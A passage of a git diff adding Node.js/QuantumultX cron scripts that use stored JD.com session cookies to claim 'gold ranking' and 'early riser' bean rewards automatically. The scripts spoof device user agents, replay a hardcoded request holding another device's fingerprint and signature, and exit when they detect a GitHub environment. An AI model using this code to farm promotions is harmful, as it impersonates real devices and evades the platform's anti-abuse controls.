Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_gold_sign.js b/jd_gold_sign.js new file mode 100644 index 0000000..c98fe8d --- /dev/null +++ b/jd_gold_sign.js @@ -0,0 +1,221 @@ +/* +京东金榜 +活动入口:https://h5.m.jd.com/babelDiy/Zeus/2H5Ng86mUJLXToEo57qWkJkjFPxw/index.html +by:小手冰凉 tg:@chianPLA +脚本更新时间:2022-1-5 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +新手写脚本,难免有bug,能用且用。 +===================quantumultx================ +[task_local] +#京东金榜 +13 7 * * * jd_gold_sign.js, tag=京东金榜, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + + */ +const $ = new Env('京东金榜'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0) +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { "open-url": "https://bean.m.jd.com/" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.beans = 0 + $.nickName = ''; + message = ''; + $.UUID = getUUID('xxxxxxxxxxxxxxxx-xxxxxxxxxxxxxxxx'); + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, { "open-url": "https://bean.m.jd.com/" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } else { + $.setdata('', `CookieJD${i ? i + 1 : ""}`);//cookie失效,故清空cookie。$.setdata('', `CookieJD${i ? i + 1 : "" }`);//cookie失效,故清空cookie。 + } + continue + } + await goldCreatorDoTask({ "type": 1 }) + await goldCenterHead(); + + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + + +function goldCenterHead() { + return new Promise(resolve => { + const options = taskUrl('goldCenterHead', '{}') + // console.log(options); + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`goldCenterDoTask API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.code === '0') { + if (data.result.medalNum === 5) { + await $.wait(1500) + await goldCreatorDoTask({ "type": 2 }) + } + } else { + console.log(`失败:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function goldCreatorDoTask(body) { + return new Promise(resolve => { + const options = taskUrl('goldCenterDoTask', body) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`goldCenterDoTask API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.code === '0') { + if (data.result.taskCode === '0') { + console.log(`成功,获得 ${data.result.lotteryScore}京豆\n`); + if (data.result.lotteryScore) $.beans += parseInt(data.result.lotteryScore); + } else { + console.log(`失败:${data.result['taskMsg']}\n`); + } + } else { + console.log(`失败:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=content_ecology&clientVersion=10.2.4&client=wh5&eufv=false&uuid=${$.UUID}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://h5.m.jd.com/", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_goodMorning.js b/jd_goodMorning.js new file mode 100644 index 0000000..fe0ea8b --- /dev/null +++ b/jd_goodMorning.js @@ -0,0 +1,488 @@ +/* +早起福利 +更新时间:2021-7-8 +30 6 * * * jd_goodMorning.js +*/ +const $ = new Env("早起福利") +const ua = `jdltapp;iPhone;3.1.0;${Math.ceil(Math.random()*4+10)}.${Math.ceil(Math.random()*4)};${randomString(40)}` +let cookiesArr = [] +let cookie = '' + +!(async () => { + await requireConfig() + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.cookie = cookie; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await goodMorning() + } + } +})() +function goodMorning() { + return new Promise(resolve => { + $.get({ + url: 'https://api.m.jd.com/client.action?functionId=morningGetBean&area=22_1930_50948_52157&body=%7B%22rnVersion%22%3A%224.7%22%2C%22fp%22%3A%22-1%22%2C%22eid%22%3A%22%22%2C%22shshshfp%22%3A%22-1%22%2C%22userAgent%22%3A%22-1%22%2C%22shshshfpa%22%3A%22-1%22%2C%22referUrl%22%3A%22-1%22%2C%22jda%22%3A%22-1%22%7D&build=167724&client=apple&clientVersion=10.0.6&d_brand=apple&d_model=iPhone12%2C8&eid=eidI1aaf8122bas5nupxDQcTRriWjt7Slv2RSJ7qcn6zrB99mPt31yO9nye2dnwJ/OW%2BUUpYt6I0VSTk7xGpxEHp6sM62VYWXroGATSgQLrUZ4QHLjQw&isBackground=N&joycious=60&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=32280b23f8a48084816d8a6c577c6573c162c174&osVersion=14.4&partner=apple&rfs=0000&scope=01&screen=750%2A1334&sign=0c19e5962cea97520c1ef9a2e67dda60&st=1625354180413&sv=112&uemps=0-0&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJSPYvHJMKdY9TUw/AQc1o/DLA/rOTDwEjG4Ar9s7IY4H6IPf3pAz7rkIVtEeW7XkXSOXGvEtHspPvqFlAueK%2B9dfB7ZbI91M9YYXBBk66bejZnH/W/xDy/aPsq2X3k4dUMOkS4j5GHKOGQO3o2U1rhx5O70ZrLaRm7Jy/DxCjm%2BdyfXX8v8rwKw%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=c99b216a4acd3bce759e369eaeeafd7', + headers: { + 'Cookie': cookie, + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Accept-Encoding': 'gzip, deflate, br', + 'User-Agent': ua, + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Host': 'api.m.jd.com' + }, + }, (err, resp, data) => { + try { + data = JSON.parse(data) + if(data.data){ + console.log(data.data.bizMsg) + } + if(data.errorMessage){ + console.log(data.errorMessage) + } + } catch (e) { + $.logErr('Error: ', e, resp) + } finally { + resolve(data) + } + }) + }) + } + +function requireConfig() { + return new Promise(resolve => { + notify = $.isNode() ? require('./sendNotify') : ''; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + resolve() + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function randomString(e) { + e = e || 32; + let t = "abcdefhijkmnprstwxyz2345678", + a = t.length, + n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GIT_HUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch (e) { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch (e) { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) return {}; { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : 